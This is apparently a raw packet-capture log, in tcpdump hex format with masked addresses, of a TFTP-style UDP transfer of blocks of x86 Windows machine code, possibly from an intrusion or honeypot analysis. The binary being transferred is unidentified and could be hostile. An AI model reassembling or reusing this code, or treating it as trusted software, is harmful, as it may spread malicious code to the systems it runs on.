0x01d0 150c 1100 0183 7c24 1c00 7478 ff15 f810 ......|$..tx....
0x01e0 0001 3de5 0300 000f 8562 0100 00a1 dc5d ..=......b.....]
0x01f0 0001 6aff 8944 242c 8b44 2444 8944 2430 ..j..D$,.D$D.D$0
0x0200 8d44 242c 6a00 506a 02ff 1560 1000 0183 .D$,j.Pj...`....
0x0210 f8ff 0f84 3701 0000 3d02 0100 000f 842c ....7...=......,
07:03:56.492807 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c511 0000 8011 5b4c 800a 097f E.........[L....
0x0010 800a 10dc 0f71 0645 000c cfa3 0004 0009 .....q.E........
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
07:03:56.492818 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c511 0000 8011 5b4c 800a 097f E.........[L....
0x0010 800a 10dc 0f71 0645 000c cfa3 0004 0009 .....q.E........
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
07:03:56.496741 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1abc 0000 7f11 04a2 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c e598 0003 000a .....E.q........
0x0020 0100 0085 c00f 8424 0100 008d 4424 1050 .......$....D$.P
0x0030 6a00 8d44 2438 5750 ffb4 2428 0001 00ff j..D$8WP..$(....
0x0040 1508 1100 0185 c075 0bff 15f8 1000 01e9 .......u........
0x0050 b600 0000 6a00 ff35 dc5d 0001 ff15 3c10 ....j..5.]....<.
0x0060 0001 85c0 0f84 e500 0000 833f 020f 8c97 ...........?....
0x0070 0000 0033 ff39 bc24 1c00 0100 747c 668b ...3.9.$....t|f.
0x0080 4500 50ff 1504 1100 010f b7c8 85c9 7e48 E.P...........~H
0x0090 83f9 027e 0c83 f904 743e 83f9 0575 39eb ...~....t>...u9.
0x00a0 6966 3d01 0075 0dff 05c4 6000 01bf 312f if=..u....`...1/
0x00b0 0001 eb11 663d 0200 750b ff05 c860 0001 ....f=..u....`..
0x00c0 bf3a 3300 018b 8424 1800 0100 85ff 8946 .:3....$.......F
0x00d0 0874 3756 ffd7 eb32 6a00 6a04 ffb4 2420 .t7V...2j.j...$.
0x00e0 0001 00ff 05cc 6000 018d 4424 6050 8d44 ......`...D$`P.D
0x00f0 2454 50e8 3206 0000 eb10 8b84 2418 0001 $TP.2.......$...
0x0100 0056 8946 08e8 de11 0000 53ff 1558 1000 .V.F......S..X..
0x0110 01a1 7860 0001 c746 0478 6000 0189 0668 ..x`...F.x`....h
0x0120 e85d 0001 8970 0489 3578 6000 01ff 155c .]...p..5x`....\
0x0130 1000 01ff 0df4 5d00 0153 ff15 4c10 0001 ......]..S..L...
0x0140 33ed e983 fdff ffff 15f8 1000 01eb 3653 3.............6S
0x0150 ff15 5810 0001 a178 6000 01c7 4604 7860 ..X....x`...F.x`
0x0160 0001 8906 68e8 5d00 0189 7004 8935 7860 ....h.]...p..5x`
0x0170 0001 ff15 5c10 0001 ff0d f45d 0001 53ff ....\......]..S.
0x0180 154c 1000 015f 5e5d 33c0 5b81 c404 0001 .L..._^]3.[.....
0x0190 00c2 0800 5153 5556 be20 6000 0157 8b3d ....QSUV..`..W.=
0x01a0 7010 0001 5633 ed33 dbff d785 c075 1868 p...V3.3.....u.h
0x01b0 c800 0000 ff15 6c10 0001 56ff d743 83fb ......l...V..C..
0x01c0 7d72 e885 c074 2a8d 4424 1050 ff74 241c }r...t*.D$.P.t$.
0x01d0 e830 0400 0085 c075 078b 4424 108b 680c .0.....u..D$..h.
0x01e0 56ff 154c 1000 0155 ff74 241c e8c0 fcff V..L...U.t$.....
0x01f0 ff5f 5e5d 33c0 5b59 c208 006a 00ff 7424 ._^]3.[Y...j..t$
0x0200 08e8 abfc ffff 33c0 c208 0055 8bec 518d ......3....U..Q.
0x0210 45fc 50ff 15a4 1000 01ff 0534 6100 0159 E.P........4a..Y
07:03:56.497687 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c512 0000 8011 5b4b 800a 097f E.........[K....
0x0010 800a 10dc 0f71 0645 000c cfa2 0004 000a .....q.E........
0x0020 7012 4470 c29d 0000 0204 05b4 0101 p.Dp..........
07:03:56.497699 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c512 0000 8011 5b4b 800a 097f E.........[K....
0x0010 800a 10dc 0f71 0645 000c cfa2 0004 000a .....q.E........
0x0020 7012 4470 c29d 0000 0204 05b4 0101 p.Dp..........
07:03:56.502899 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac0 0000 7f11 049e 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c bb4a 0003 000b .....E.q...J....
0x0020 8d45 fc50 ff15 b810 0001 8b45 0859 4874 .E.P.......E.YHt
0x0030 5748 7421 4874 0648 4874 4deb 2eff 3540 WHt!Ht.HHtM...5@
0x0040 6000 01ff 1534 1000 01c7 0524 6100 0104 `....4.....$a...
0x0050 0000 00eb 16ff 3540 6000 01ff 1574 1000 ......5@`....t..
0x0060 01c7 0524 6100 0107 0000 0068 2061 0001 ...$a......h.a..
0x0070 ff35 4460 0001 ff15 1410 0001 85c0 750f .5D`..........u.
0x0080 ff15 3810 0001 eb07 6a00 e804 0000 00c9 ..8.....j.......
0x0090 c204 0053 5556 8b35 1410 0001 57bf 2061 ...SUV.5....W..a
0x00a0 0001 57c7 0524 6100 0103 0000 00ff 3544 ..W..$a.......5D
0x00b0 6000 01ff d68b 2d38 1000 0133 db3b c375 `.....-8...3.;.u
0x00c0 02ff d5ff 35dc 5d00 01ff 1530 1000 01c7 ....5.]....0....
0x00d0 0524 6100 0101 0000 0089 1d34 6100 018b .$a........4a...
0x00e0 4424 1489 1d38 6100 013b c375 0e89 1d2c D$...8a..;.u...,
0x00f0 6100 0189 1d30 6100 01eb 223d 3408 0000 a....0a..."=4...
0x0100 7211 3da7 1600 00c7 052c 6100 012a 0400 r.=......,a..*..
0x0110 0076 05a3 2c61 0001 a330 6100 0157 ff35 .v..,a...0a..W.5
0x0120 4460 0001 ffd6 3bc3 7502 ffd5 a1e0 5d00 D`....;.u.....].
0x0130 018b 3554 1000 013b c374 0950 ffd6 891d ..5T...;.t.P....
0x0140 e05d 0001 a1dc 5d00 013b c374 0950 ffd6 .]....]..;.t.P..
0x0150 891d dc5d 0001 a1d0 5d00 013b c374 0e50 ...]....]..;.t.P
0x0160 ff15 9c10 0001 5989 1dd0 5d00 015f 5e5d ......Y...].._^]
0x0170 5bc2 0400 568b 7424 086a ffff 7610 ff15 [...V.t$.j..v...
0x0180 6811 0001 ff76 08ff 151c 1100 01ff 7614 h....v........v.
0x0190 ff15 1811 0001 8b06 8b4e 043b c175 11a1 .........N.;.u..
0x01a0 3860 0001 8b08 8b40 0489 0889 4104 eb0a 8`.....@....A...
0x01b0 8901 8b06 8b4e 0489 4804 56ff 15a0 1000 .....N..H.V.....
0x01c0 0159 5ec2 0400 558b ec51 5153 8b5d 0856 .Y^...U..QQS.].V
0x01d0 5733 ff8d 45fc 5750 5789 7dfc c745 f817 W3..E.WPW.}..E..
0x01e0 0000 c089 3be8 801a 0000 3bc7 7405 83f8 ....;.....;.t...
0x01f0 7a75 47ff 75fc ff15 9410 0001 8bf0 593b zuG.u.........Y;
0x0200 f774 378d 45fc 5750 56e8 5c1a 0000 3bc7 .t7.E.WPV.\...;.
0x0210 7423 83f8 7a75 23ff 75fc 56ff 1598 1000 t#..zu#.u.V.....
07:03:56.507059 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c513 0000 8011 5b4a 800a 097f E.........[J....
0x0010 800a 10dc 0f71 0645 000c cfa1 0004 000b .....q.E........
0x0020 5018 4428 9e2b 0000 0500 0c03 1000 P.D(.+........
07:03:56.507072 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c513 0000 8011 5b4a 800a 097f E.........[J....
0x0010 800a 10dc 0f71 0645 000c cfa1 0004 000b .....q.E........
0x0020 5018 4428 9e2b 0000 0500 0c03 1000 P.D(.+........
07:03:56.510956 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac3 0000 7f11 049b 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 6583 0003 000c .....E.q..e.....
0x0020 0159 3bc7 5974 048b f0eb d856 ff15 a010 .Y;.Yt.....V....
0x0030 0001 59eb 0589 7df8 8933 8b45 f85f 5e5b ..Y...}..3.E._^[
0x0040 c9c2 0400 ff74 2404 ff15 2011 0001 85c0 .....t$.........
0x0050 7425 578b f883 c9ff 33c0 f2ae f7d1 2bf9 t%W.....3.....+.
0x0060 568b c18b f78b 7c24 10c1 e902 f3a5 8bc8 V.....|$........
0x0070 83e1 03f3 a45e 5fc2 0800 558b ec83 ec28 .....^_...U....(
0x0080 5356 33f6 5789 75fc 6a01 5656 566a 026a SV3.W.u.j.VVVj.j
0x0090 02ff 15f4 1000 018b d883 fbff 741f 33c0 ............t.3.
0x00a0 8d7d ecab abab 6820 1400 0168 1814 0001 .}....h....h....
0x00b0 abff 1528 1100 013b c675 1eeb 14ff 15f8 ...(...;.u......
0x00c0 1000 0168 ee02 0000 ff15 6c10 0001 ff45 ...h......l....E
0x00d0 fc83 7dfc 0a7d 2feb af66 c745 ec02 0066 ..}..}/..f.E...f
0x00e0 8b40 0866 8945 ee8b 4508 8945 f08d 45ec .@.f.E..E..E..E.
0x00f0 6a10 5053 ff15 2411 0001 85c0 7408 ff15 j.PS..$.....t...
0x0100 3810 0001 eb78 83fb ff74 736a 20ff 1594 8....x...tsj....
0x0110 1000 018b f059 85f6 7443 6a08 33c0 598b .....Y..tCj.3.Y.
0x0120 fef3 ab8b 4508 8d4d d851 5089 5e08 8946 ....E..M.QP.^..F
0x0130 0ce8 0eff ffff 33c0 5050 5050 ff15 4010 ......3.PPPP..@.
0x0140 0001 8bf8 85ff 7418 6a01 5753 897e 14e8 ......t.j.WS.~..
0x0150 5af7 ffff 85c0 8946 1075 27eb 038b 7d08 Z......F.u'...}.
0x0160 53ff 151c 1100 0185 ff74 0757 ff15 5410 S........t.W..T.
0x0170 0001 85f6 7408 56ff 15a0 1000 0159 33c0 ....t.V......Y3.
0x0180 eb19 a138 6000 01c7 4604 3860 0001 8906 ...8`...F.8`....
0x0190 8970 0489 3538 6000 018b c65f 5e5b c9c2 .p..58`...._^[..
0x01a0 0400 8b0d 3860 0001 56be 3860 0001 33c0 ....8`..V.8`..3.
0x01b0 3bce 741f 5783 7918 008b 3975 0b51 e8b1 ;.t.W.y...9u.Q..
0x01c0 fdff ff6a 0158 eb04 8361 1800 3bfe 8bcf ...j.X...a..;...
0x01d0 75e3 5f5e c38b 5424 0856 b938 6000 0183 u._^..T$.V.8`...
0x01e0 2200 a138 6000 013b c174 148b 700c 3b74 "..8`..;.t..p.;t
0x01f0 2408 7404 8b00 ebef 6a01 8902 58eb 0233 $.t.....j...X..3
0x0200 c05e c208 008b 5424 0856 b938 6000 0183 .^....T$.V.8`...
0x0210 2200 a138 6000 013b c174 0f8b 7008 3b74 "..8`..;.t..p.;t
07:03:56.511898 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c514 0000 8011 5b49 800a 097f E.........[I....
0x0010 800a 10dc 0f71 0645 000c cfa0 0004 000c .....q.E........
0x0020 5010 4470 e835 0000 0204 05b4 0101 P.Dp.5........
07:03:56.511910 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c514 0000 8011 5b49 800a 097f E.........[I....
0x0010 800a 10dc 0f71 0645 000c cfa0 0004 000c .....q.E........
0x0020 5010 4470 e835 0000 0204 05b4 0101 P.Dp.5........
07:03:56.515997 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac4 0000 7f11 049a 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c ec51 0003 000d .....E.q...Q....
0x0020 2408 7404 8b00 ebef 8902 8b02 5ef7 d81b $.t.........^...
0x0030 c024 a983 c057 c208 0055 8bec 83ec 0c53 .$...W...U.....S
0x0040 5657 33f6 6820 6000 0189 75f4 ff15 5810 VW3.h.`...u...X.
0x0050 0001 8d45 fc50 e86b fdff ff85 c075 6a8b ...E.P.k.....uj.
0x0060 45fc 33db 3930 7650 8b44 3004 85c0 743d E.3.90vP.D0...t=
0x0070 3d7f 0000 0174 368d 4df8 5150 e854 ffff =....t6.M.QP.T..
0x0080 ff85 c074 0c8b 45f8 c740 1801 0000 00eb ...t..E..@......
0x0090 1c8b 45fc 6a01 5fff 7430 0489 7df4 e8d7 ..E.j._.t0..}...
0x00a0 fdff ff85 c089 45f8 7403 8978 188b 45fc ......E.t..x..E.
0x00b0 4383 c618 3b18 72b0 e8e5 feff ffff 75fc C...;.r.......u.
0x00c0 8bf0 ff15 a010 0001 5983 7df4 0075 3a85 ........Y.}..u:.
0x00d0 f675 36a1 3860 0001 bf38 6000 013b c774 .u6.8`...8`..;.t
0x00e0 2889 45f8 8b18 f640 1c01 7517 8b70 0c50 (.E....@..u..p.P
0x00f0 e87f fcff ff56 e87f fdff ff85 c074 0483 .....V.......t..
0x0100 481c 013b df8b c375 d868 0061 0001 6800 H..;...u.h.a..h.
0x0110 5e00 01e8 4c17 0000 6820 6000 01ff 154c ^...L...h.`....L
0x0120 1000 015f 5e5b c9c2 0800 558b ecb8 bcff ..._^[....U.....
0x0130 0000 e827 1700 0053 568b 3504 1100 0157 ...'...SV.5....W
0x0140 6a05 ffd6 8b7d 1466 8985 4400 ffff 57ff j....}.f..D...W.
0x0150 d683 7d18 0066 8985 4600 ffff 742b 8b7d ..}..f..F...t+.}
0x0160 1883 c9ff 33c0 8d95 4800 ffff f2ae f7d1 ....3...H.......
0x0170 2bf9 8bc1 8bf7 8bfa c1e9 02f3 a58b c883 +...............
0x0180 e103 f3a4 8b7d 18eb 3966 83ff 0972 0233 .....}..9f...r.3
0x0190 ff0f b7c7 83c9 ff8d 9d48 00ff ff8b 1485 .........H......
0x01a0 c05c 0001 33c0 8bfa f2ae f7d1 2bf9 8bc1 .\..3.......+...
0x01b0 8bf7 8bfb c1e9 02f3 a58b c883 e103 f3a4 ................
0x01c0 8bfa 83c9 ff33 c0f2 ae6a 10ff 7508 f7d1 .....3...j..u...
0x01d0 4950 83c1 058d 8544 00ff ff51 50ff 7510 IP.....D...QP.u.
0x01e0 ff15 3011 0001 83f8 ff75 06ff 15f8 1000 ..0......u......
0x01f0 015f 5e5b c9c2 1400 8b44 2404 5355 568b ._^[.....D$.SUV.
0x0200 7424 20c7 4020 0002 0000 c740 280a 0000 t$..@......@(...
0x0210 008b 4424 2457 b9ef 3f00 0083 2000 33c0 ..D$$W..?.....3.
07:03:56.516900 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c515 0000 8011 5b48 800a 097f E.........[H....
0x0010 800a 10dc 0f71 0645 000c cf9f 0004 000d .....q.E........
0x0020 7002 4000 fb4c 0000 0204 05b4 0101 p.@..L........
07:03:56.516912 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c515 0000 8011 5b48 800a 097f E.........[H....
0x0010 800a 10dc 0f71 0645 000c cf9f 0004 000d .....q.E........
0x0020 7002 4000 fb4c 0000 0204 05b4 0101 p.@..L........
07:03:56.521231 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac5 0000 7f11 0499 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 140b 0003 000e .....E.q........
0x0020 8bfe 6a06 f3ab ff15 0411 0001 6689 068d ..j.........f...
0x0030 5e02 8b6c 2418 807d 0000 0f84 c401 0000 ^..l$..}........
0x0040 8b35 5c11 0001 68f8 1400 0155 ffd6 5985 .5\...h....U..Y.
0x0050 c059 7564 8bfd 83c9 fff2 aef7 d12b f96a .Yud.........+.j
0x0060 088b c18b f78b fbc1 e902 f3a5 8bc8 83e1 ................
0x0070 03f3 a45e 03ee 03de 55ff 1560 1100 0159 ...^....U..`...Y
0x0080 3bc6 8b4c 2414 8941 200f 828e 0100 003d ;..L$..A.......=
0x0090 b8ff 0000 0f87 8301 0000 3db0 0500 0075 ..........=....u
0x00a0 0ec7 4120 0002 0000 2bde e937 0100 006a ..A.....+..7...j
0x00b0 0a53 50e9 ff00 0000 68f0 1400 0155 ffd6 .SP.....h....U..
0x00c0 5985 c059 7574 8bfd 83c9 fff2 aef7 d12b Y..Yut.........+
0x00d0 f983 c508 8bc1 8bf7 8bfb 55c1 e902 f3a5 ..........U.....
0x00e0 8bc8 83c3 0883 e103 f3a4 ff15 6011 0001 ............`...
0x00f0 598b 4c24 146a 015a 3bc2 8941 280f 8c1f Y.L$.j.Z;..A(...
0x0100 0100 003d ff00 0000 0f8f 1401 0000 8b44 ...=...........D
0x0110 2428 8bfd 83c9 ff89 1033 c0f2 aef7 d12b $(.......3.....+
0x0120 f98b c18b f78b fbc1 e902 f3a5 8bc8 83e1 ................
0x0130 03f3 a48b fde9 8800 0000 68e8 1400 0155 ..........h....U
0x0140 ffd6 598b fd85 c059 0f85 8400 0000 83ca ..Y....Y........
0x0150 ff33 c08b ca83 c506 f2ae f7d1 2bf9 8bc1 .3..........+...
0x0160 8bf7 8bfb 83c3 06c1 e902 f3a5 8bc8 83e1 ................
0x0170 0383 7c24 1c02 f3a4 7533 8bfd 8bca 33c0 ..|$....u3....3.
0x0180 f2ae f7d1 2bf9 8bc1 8bf7 8bfb c1e9 02f3 ....+...........
0x0190 a58b c833 c083 e103 f3a4 8bfd 8bca f2ae ...3............
0x01a0 f7d1 498b fd8d 5c0b 018b caeb 3e8b 4424 ..I...\.....>.D$
0x01b0 146a 0a53 ff70 24ff 1564 1100 0183 c40c .j.S.p$..d......
0x01c0 8bfb 83c9 ff33 c0f2 aef7 d149 8d5c 0b01 .....3.....I.\..
0x01d0 eb14 83c9 ff33 c0f2 aef7 d149 3844 0d01 .....3.....I8D..
0x01e0 8d6c 0d01 741a 8bfd 83c9 ff33 c0f2 aef7 .l..t......3....
0x01f0 d149 3844 0d01 8d6c 0d01 0f85 40fe ffff .I8D...l....@...
0x0200 8b74 2424 8b44 2420 2bde 83fb 0289 1875 .t$$.D$.+......u
0x0210 0383 2000 33c0 5f5e 5d5b c218 006a 0056 ....3._^][...j.V
07:03:56.523244 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c516 0000 8011 5b47 800a 097f E.........[G....
0x0010 800a 10dc 0f71 0645 000c cf9e 0004 000e .....q.E........
0x0020 5010 4470 5cd6 0000 0204 05b4 0101 P.Dp\.........
07:03:56.523257 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c516 0000 8011 5b47 800a 097f E.........[G....
0x0010 800a 10dc 0f71 0645 000c cf9e 0004 000e .....q.E........
0x0020 5010 4470 5cd6 0000 0204 05b4 0101 P.Dp\.........
07:03:56.527098 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac6 0000 7f11 0498 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 54f0 0003 000f .....E.q..T.....
0x0020 eb04 6a00 6a08 ff71 088d 81f1 ff00 0083 ..j.j..q........
0x0030 c10c 5051 e8f1 fcff ff83 c8ff ebd8 558b ..PQ..........U.
0x0040 ec53 8b5d 0856 578a 038b cb8b f389 5d08 .S.].VW.......].
0x0050 84c0 740e 3c5c 7404 3c2f 7506 8a41 0141 ..t.<\t.</u..A.A
0x0060 ebee 8a01 84c0 0f84 9800 0000 3c2e 0f85 ............<...
0x0070 c800 0000 8a51 018d 7901 80fa 5c0f 84b5 .....Q..y...\...
0x0080 0000 0080 fa2f 0f84 ac00 0000 3ad0 0f85 ...../......:...
0x0090 8f00 0000 8a51 028d 7902 80fa 5c74 0580 .....Q..y...\t..
0x00a0 fa2f 757f 4e8b cf4e 3bf3 7654 8a06 3c5c ./u.N..N;.vT..<\
0x00b0 7409 3c2f 7405 4e3b f373 f146 3b75 0876 t.</t.N;.s.F;u.v
0x00c0 0d80 7eff 208d 46ff 7504 8bf0 ebee 8a01 ..~...F.u.......
0x00d0 3c5c 7404 3c2f 758a 3bf3 740f 8a46 ff3c <\t.</u.;.t..F.<
0x00e0 5c74 083c 2f74 04c6 065c 4641 740a 8a01 \t.</t...\FAt...
0x00f0 3c5c 74f7 3c2f 74f3 8975 08e9 62ff ffff <\t.</t..u..b...
0x0100 33c0 eb18 8a4e ff8d 46ff 80f9 5c74 0580 3....N..F...\t..
0x0110 f92f 7502 8bf0 8026 006a 0158 5f5e 5b5d ./u....&.j.X_^[]
0x0120 c204 0088 068a 4101 4641 84c0 748e 3c5c ......A.FA..t.<\
0x0130 748a 3c2f 75ed eb84 8bcf eb80 84c0 0f84 t.</u...........
0x0140 78ff ffff 3c5c 0f84 70ff ffff 3c2f 0f84 x...<\..p...</..
0x0150 68ff ffff 8806 8a41 0146 41eb df55 8bec h......A.FA..U..
0x0160 5356 8b75 1057 8bfe 83c9 ff33 c08b 5508 SV.u.W.....3..U.
0x0170 f2ae f7d1 498b fa8b d983 c9ff f2ae f7d1 ....I...........
0x0180 4980 7c33 ff5c 8bf9 0f94 c033 c980 3a5c I.|3.\.....3..:\
0x0190 0f94 c185 c075 0d85 c975 09c7 4510 0100 .....u...u..E...
0x01a0 0000 eb0d 8365 1000 85c0 7405 85c9 7401 .....e....t...t.
0x01b0 4b8b 4510 8b4d 0c03 c703 c349 3bc1 7604 K.E..M.....I;.v.
0x01c0 33c0 eb36 8b45 1047 03c3 5703 c252 50ff 3..6.E.G..W..RP.
0x01d0 1544 1100 018b 4508 8bcb 8bd1 8bf8 c1e9 .D....E.........
0x01e0 02f3 a58b ca83 c40c 83e1 0383 7d10 00f3 ............}...
0x01f0 a474 04c6 0403 5c6a 0158 5f5e 5b5d c20c .t....\j.X_^[]..
0x0200 0056 8b74 2408 578b 8e24 0001 008d 8624 .V.t$.W..$.....$
0x0210 0001 0085 c974 2083 2000 8b44 2410 6683 .....t.....D$.f.
07:03:56.532573 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c517 0000 8011 5b46 800a 097f E.........[F....
0x0010 800a 10dc 0f71 0645 000c cf9d 0004 000f .....q.E........
0x0020 5011 4470 e834 0000 0204 05b4 0101 P.Dp.4........
07:03:56.532585 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c517 0000 8011 5b46 800a 097f E.........[F....
0x0010 800a 10dc 0f71 0645 000c cf9d 0004 000f .....q.E........
0x0020 5011 4470 e834 0000 0204 05b4 0101 P.Dp.4........
07:03:56.536524 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac7 0000 7f11 0497 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c ec85 0003 0010 .....E.q........
0x0020 a614 0001 0000 898e 2000 0100 8b40 2089 .............@..
0x0030 861c 0001 00eb 608b 3d04 1100 016a 03ff ......`.=....j..
0x0040 d766 8946 3866 8b86 1400 0100 50ff d766 .f.F8f......P..f
0x0050 8946 3a8b 4424 10ff 7020 8d46 3c50 ffb6 .F:.D$..p..F<P..
0x0060 2c00 0100 ff15 9010 0001 83c4 0c83 f8ff ,...............
0x0070 8986 1c00 0100 7516 8b35 ac10 0001 ffd6 ......u..5......
0x0080 ffd6 ff30 ff15 2c10 0001 33c0 eb0c 83c0 ...0..,...3.....
0x0090 0489 8620 0001 006a 0158 5f5e c208 0056 .......j.X_^...V
0x00a0 be80 6000 0156 ff15 5810 0001 8b0d 9860 ..`..V..X......`
0x00b0 0001 568b 4424 0c89 08c7 4004 9860 0001 ..V.D$....@..`..
0x00c0 8941 04a3 9860 0001 ff15 4c10 0001 6a01 .A...`....L...j.
0x00d0 585e c204 0053 8b1d 5810 0001 5657 bf80 X^...S..X...VW..
0x00e0 6000 0157 ffd3 a198 6000 01b9 9860 0001 `..W....`....`..
0x00f0 3bc1 741e 8b50 088d 70e8 3b54 2410 7404 ;.t..P..p.;T$.t.
0x0100 8b00 ebec 56ff d357 ff15 4c10 0001 8bc6 ....V..W..L.....
0x0110 eb09 57ff 154c 1000 0133 c05f 5e5b c204 ..W..L...3._^[..
0x0120 0056 8b74 2408 8b46 2083 f8ff 7407 50ff .V.t$..F....t.P.
0x0130 151c 1100 018b 8604 0001 0085 c074 0f6a .............t.j
0x0140 0050 ff35 a060 0001 ff15 5811 0001 6a00 .P.5.`....X...j.
0x0150 ffb6 fcff 0000 ff15 6811 0001 ffb6 f8ff ........h.......
0x0160 0000 ff15 5410 0001 56ff 1528 1000 015e ....T...V..(...^
0x0170 c204 0056 8b74 2408 8b86 2c00 0100 83f8 ...V.t$...,.....
0x0180 ff74 0850 ff15 8c10 0001 5956 ff15 a010 .t.P......YV....
0x0190 0001 595e c204 00c2 0400 568b 7424 0885 ..Y^......V.t$..
0x01a0 f674 3356 e878 ffff ff8b 4624 4874 2148 .t3V.x....F$Ht!H
0x01b0 7416 4874 0b48 751e 56e8 d9ff ffff eb16 t.Ht.Hu.V.......
0x01c0 56e8 d1ff ffff eb0e 56e8 a5ff ffff eb06 V.......V.......
0x01d0 56e8 9dff ffff 5ec2 0400 538b 1d58 1000 V.....^...S..X..
0x01e0 0156 6880 6000 01ff d38b 3598 6000 0181 .Vh.`.....5.`...
0x01f0 fe98 6000 0174 5157 558d 7ee8 57ff d38b ..`..tQWU.~.W...
0x0200 2eff 8708 0001 0083 bf08 0001 0004 8d87 ................
0x0210 0800 0100 5772 1fff d38b 068b 7604 8906 ....Wr......v...
07:03:56.537621 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c518 0000 8011 5b45 800a 097f E.........[E....
0x0010 800a 10dc 0f71 0645 000c cf9c 0004 0010 .....q.E........
0x0020 5018 4470 7194 0000 4d69 6372 6f73 P.Dpq...Micros
07:03:56.537633 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c518 0000 8011 5b45 800a 097f E.........[E....
0x0010 800a 10dc 0f71 0645 000c cf9c 0004 0010 .....q.E........
0x0020 5018 4470 7194 0000 4d69 6372 6f73 P.Dpq...Micros
07:03:56.541987 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac8 0000 7f11 0496 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 4a6b 0003 0011 .....E.q..Jk....
0x0020 8970 0466 8b47 2a50 ff15 0411 0001 57e8 .p.f.G*P......W.
0x0030 66ff ffff eb06 ff15 4c10 0001 81fd 9860 f.......L......`
0x0040 0001 8bf5 75b3 5d5f 6880 6000 01ff 154c ....u.]_h.`....L
0x0050 1000 01e8 e7ef ffff 5e5b c208 0055 8bec ........^[...U..
0x0060 83ec 1053 5657 ff75 08e8 67fe ffff 8bf0 ...SVW.u..g.....
0x0070 33db 3bf3 0f84 fd00 0000 8b86 0c00 0100 3.;.............
0x0080 83f8 0a0f 83a2 0000 0083 f805 7620 8d45 ............v..E
0x0090 f050 ff15 2410 0001 668b 462a 50ff 150c .P..$...f.F*P...
0x00a0 1100 0166 8b46 3a50 ff15 0411 0001 8d46 ...f.F:P.......F
0x00b0 286a 1050 53ff b620 0001 008d 4638 50ff (j.PS.......F8P.
0x00c0 7620 ff15 3011 0001 83f8 ff75 06ff 15f8 v...0......u....
0x00d0 1000 018b be04 0001 00ff 860c 0001 003b ...............;
0x00e0 fb0f 8485 0000 0039 9e28 0001 0075 1b8b .......9.(...u..
0x00f0 8600 0001 008d 8e00 0001 00d1 e0ba 1027 ...............'
0x0100 0000 8901 3bc2 7602 8911 8b86 0000 0100 ....;.v.........
0x0110 5050 57ff 35a0 6000 01ff 1554 1100 013b PPW.5.`....T...;
0x0120 c374 49ff 1538 1000 01eb 413b f374 4868 .tI..8....A;.tHh
0x0130 0015 0001 53ff 7620 8d46 2853 50e8 e8f7 ....S.v..F(SP...
0x0140 ffff 8b86 0400 0100 8dbe 0400 0100 3bc3 ..............;.
0x0150 740e 5350 ff35 a060 0001 ff15 5811 0001 t.SP.5.`....X...
0x0160 891f c786 0800 0100 0400 0000 3bf3 7407 ............;.t.
0x0170 56ff 154c 1000 015f 5e5b c9c2 0800 5153 V..L..._^[....QS
0x0180 8b1d 0c11 0001 5556 8b74 2414 578b 7c24 ......UV.t$.W.|$
0x0190 1c33 ed8b 8618 0001 006a 0489 6c24 1489 .3.......j..l$..
0x01a0 4720 ffd3 6639 4734 751c 668b 8614 0001 G...f9G4u.f.....
0x01b0 0050 ffd3 6639 4736 750c 83a6 0c00 0100 .P..f9G6u.......
0x01c0 006a 015d eb28 668b 4736 50ff d366 8b47 .j.].(f.G6P..f.G
0x01d0 3450 ff15 0411 0001 6a04 ffd3 6639 4734 4P......j...f9G4
0x01e0 750c 668b 8614 0001 0066 4850 ffd3 85ed u.f......fHP....
0x01f0 0f84 c000 0000 83be 3000 0100 0074 3d8b ........0....t=.
0x0200 8604 0001 008d be04 0001 0085 c074 0f6a .............t.j
0x0210 0050 ff35 a060 0001 ff15 5811 0001 8327 .P.5.`....X....'
07:03:56.542952 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c519 0000 8011 5b44 800a 097f E.........[D....
0x0010 800a 10dc 0f71 0645 000c cf9b 0004 0011 .....q.E........
0x0020 5010 4470 e833 0000 0204 05b4 0101 P.Dp.3........
